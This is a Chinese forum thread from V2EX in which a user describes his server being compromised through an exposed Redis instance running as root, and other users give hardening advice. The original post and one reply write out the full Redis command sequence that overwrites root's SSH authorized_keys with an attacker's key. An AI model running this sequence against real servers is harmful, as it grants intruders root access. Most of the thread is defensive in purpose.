V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
void1900
V2EX  ›  Redis

redis 没有 bind 127.0.0.1 差点出大事!!!

  •  3
     
  •   void1900 · 2015-11-08 08:18:46 +08:00 · 21643 次点击
    这是一个创建于 3335 天前的主题,其中的信息可能已经有所发展或是发生改变。

    使用 config 可以随意修改文件,比如 /root/authorized_keys

    .. 吓死宝宝了

    第 1 条附言  ·  2015-11-08 08:56:05 +08:00
    夜里五点收到 aliyun 异地登陆报警,一开始以为是 1024 的锅。。

    ps:阿里云这台是平时折腾用的,其他服务器不在阿里云。

    一开始连不上, key ,密码都不行,使用 aliyun 后台修改了 root 密码,可以登陆了。

    接着检查到 `/root/.ssh/authorized_keys` 发现 REDIS0006 字样开头,开始检查 redid ,发现是用 0.0.0.0 在监听,切使用 root 用户启动的 redid 。改 bind ,开 iptables 。

    然后检查其他不在阿里云的服务器,发现都登不上,忽然有点慌,想让机房重置密码。

    后来想到 redis 出的问题我是不是也可以利用,于是乎,
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
    save

    我也可以登陆了。。。。修改 authorized_keys , bind , iptables 。。。。


    上面就是完整经历
    第 2 条附言  ·  2015-11-08 09:09:52 +08:00
    各位大神,为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆,确实有点奇怪,配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/
    27 条回复    2015-11-12 01:28:39 +08:00
    Zzzzzzzzz
        1
    Zzzzzzzzz  
       2015-11-08 08:31:50 +08:00   ❤️ 3
    没 bind 127.0.0.1 只是问题之一

    iptables 没对固定的几个端口开放白名单问题之二

    问题之三是 redis 有权改 /root/下的文件说明是以 root 跑的 redis, 这是最大的问题
    void1900
        2
    void1900  
    OP
       2015-11-08 08:47:21 +08:00
    @Zzzzzzzzz iptable 不知道谁关了,以前是靠 iptable 限制只本地的,就忽略了 bind 参数,还好收到 aliyun 异地登陆通知! redis 怎么用其他用户跑? `su xxx` 再启动?
    raingolee
        3
    raingolee  
       2015-11-08 08:47:32 +08:00 via iPhone
    用 root 起了 redis?
    void1900
        4
    void1900  
    OP
       2015-11-08 08:48:07 +08:00
    @raingolee 对的,怎么用其他用户跑?
    msg7086
        5
    msg7086  
       2015-11-08 08:50:05 +08:00
    你 redis 怎么从 redis 账号提权修改 root 文件的……
    void1900
        6
    void1900  
    OP
       2015-11-08 08:56:20 +08:00
    @msg7086 root 用户启动的 redis 。。。
    msg7086
        7
    msg7086  
       2015-11-08 09:01:15 +08:00   ❤️ 1
    @void1900 随便抓个发行版( Ubuntu Debian Arch )里带的 redis 都是用 redis 用户启动的。
    真没见过哪个会用 root 启动 redis ……

    PS: 善意提醒,一旦 root 用户被人登录过,请老老实实重装系统以及重新排查程序里可能被植入的木马。
    binux
        8
    binux  
       2015-11-08 09:02:24 +08:00
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
    save

    并不能登录, authorized_keys 的权限不是 600
    ETiV
        9
    ETiV  
       2015-11-08 09:05:39 +08:00 via iPhone
    能想到这么搞的人脑洞真是大啊……
    void1900
        10
    void1900  
    OP
       2015-11-08 09:05:53 +08:00
    @binux 为什么我的可以。。。 略微奇怪,我配服务器的时候因为自己的 key 都登陆不了,执行过 `restorecon -r /root/.ssh/`
    void1900
        11
    void1900  
    OP
       2015-11-08 09:07:51 +08:00
    @msg7086 谢谢,不过目前还没这考虑,因为东西比较多,不过有做异地备份,而且是半夜几点,多台服务器,而且没有把利用的漏洞关上,感觉是批量跑的。
    lightening
        12
    lightening  
       2015-11-08 09:11:20 +08:00
    所以要把 Redis 装在 Docker 里……
    raingolee
        13
    raingolee  
       2015-11-08 09:15:58 +08:00
    @msg7086 手动编译的 redis ,好像就没有自带 redis 用户哦
    raingolee
        14
    raingolee  
       2015-11-08 09:18:25 +08:00
    @void1900
    恩切用户再启动就行
    ---
    为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆,确实有点奇怪,配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/

    这个你确认是 644 然后用 root key 登陆的嘛
    void1900
        15
    void1900  
    OP
       2015-11-08 09:19:58 +08:00
    @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
    void1900
        16
    void1900  
    OP
       2015-11-08 09:19:58 +08:00
    @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
    msg7086
        17
    msg7086  
       2015-11-08 09:21:13 +08:00
    @raingolee 手动编译的话当然安装也要自己配置了。
    你写 systemd 启动配置脚本的时候得加上 user/group 才行。
    void1900
        18
    void1900  
    OP
       2015-11-08 09:21:17 +08:00
    @raingolee
    -rw-r--r--. 1 root root 123 11 月 7 19:16 authorized_keys
    kaneg
        19
    kaneg  
       2015-11-08 09:39:04 +08:00 via iPhone
    应该禁用 root 直接登录,用 sudo
    yytsjq
        20
    yytsjq  
       2015-11-08 10:29:16 +08:00
    本机使用的话, Redis 使用 UNIX sock 连接方式呢?是不是更安全些。。
    varrily
        21
    varrily  
       2015-11-08 10:38:54 +08:00
    用 ufw 端口白名单了
    ryd994
        22
    ryd994  
       2015-11-08 10:50:39 +08:00
    一般该用 socks 文件吧……
    不仅安全,性能也更好
    BOYPT
        23
    BOYPT  
       2015-11-08 11:51:36 +08:00
    编译党的常见问题~
    dongxiaozhuo
        24
    dongxiaozhuo  
       2015-11-08 12:28:49 +08:00
    @BOYPT 不只是编译党,好多开发觉得麻烦,各种喜欢开全端口。
    kn007
        25
    kn007  
       2015-11-08 12:30:01 +08:00
    centos 编译党,表示使用 daemon 指定用户创建进程。
    msg7086
        26
    msg7086  
       2015-11-08 14:38:00 +08:00
    @dongxiaozhuo 现在很多发行版的默认设定下就算端口全开也问题不大。
    就是 ssh 得装个 fail2ban 。
    hisway
        27
    hisway  
       2015-11-09 14:44:41 +08:00
    看来不断有人在扫这些端口~
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1323 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 17:45 · PVG 01:45 · LAX 09:45 · JFK 12:45
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.